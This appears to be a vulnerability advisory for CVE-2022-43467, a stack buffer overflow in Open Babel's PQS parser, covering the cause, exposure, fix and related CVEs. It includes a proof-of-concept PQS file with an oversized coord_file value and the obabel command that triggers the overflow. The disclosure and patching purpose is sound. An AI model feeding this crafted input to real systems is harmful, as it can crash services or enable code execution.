CVE-2022-43467: Open Babel PQS Parser Out-of-Bounds Write
A crafted PQS chemistry file can overflow a fixed-size stack buffer in Open Babel's parser, enabling arbitrary code execution in any application that opens untrusted chemical files.
The problem
The PQS format reader in PQSformat.cpp declares two fixed-size stack buffers: `char coord_file[256]` and `char full_coord_path[256]`. When it encounters a `geom` keyword it reads the coord_file specifier from the input line and concatenates it into `full_coord_path` using `strcat`, with no length check.
Any caller of the Open Babel library is exposed: the `obabel` CLI, the `OBConversion` C++ API, and all language bindings (Python, Ruby, Java, R, Perl, C#, PHP). Because online chemistry converters commonly embed the library server-side, the attack surface extends beyond local file open.
Proof of concept
A working proof-of-concept for CVE-2022-43467 in openbabel, with the exact payload below.
# strcat.pqs -- triggers CVE-2022-43467
# Feed to: obabel -i pqs strcat.pqs -o sdf
#
# The coord_file value is 260 'A' characters, overflowing the
# 256-byte full_coord_path stack buffer via strcat().
geom=file coord_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$basis
sto-3g
$end
$molecule
0 1
H 0.0 0.0 0.0
H 0.0 0.0 0.7
$endThe parser scans for a line containing `geom` (but not `text` or `titl`), then extracts the `coord_file` token from that same line. It calls `strcat(full_coord_path, coord_file)` to build the final path. Because `full_coord_path` is only 256 bytes and no length check gates the concatenation, a coord_file token longer than 255 bytes writes past the end of the stack buffer (CWE-787, CWE-119).
The ASAN report from Talos shows `WRITE of size 251` at `__interceptor_strcat` called from `PQSformat.cpp:234`, confirming a classic unbounded `strcat` overflow. The fix in commit 2a7d2cda replaces the raw `strcat` with a bounds-checked alternative (or switches to `std::string`), so oversized coord_file values are rejected before any write occurs.
The fix
Upgrade openbabel to 3.2.0, which contains commit 2a7d2cda. If you cannot upgrade immediately, refuse to parse PQS files from untrusted sources, or wrap the `OBConversion` call in a sandboxed process. Distributions (Debian, Fedora, etc.) have the fix tracked; check your distro's security tracker for backported packages.
Reported by Claudio Bozzato, Cisco Talos.
Related research
- high · 7.8CVE-2022-43607CVE-2022-43607: Open Babel MOL2 Parser Stack Buffer Overflow
- high · 7.8CVE-2022-46291CVE-2022-46291: Open Babel Gaussian Parser Stack Buffer Overflow via translationVectors
- high · 7.8CVE-2022-46293CVE-2022-46293: Open Babel MOPAC Output Parser Stack Buffer Overflow
- high · 7.8CVE-2022-46294CVE-2022-46294: Open Babel MOPAC Cartesian Out-of-Bounds Write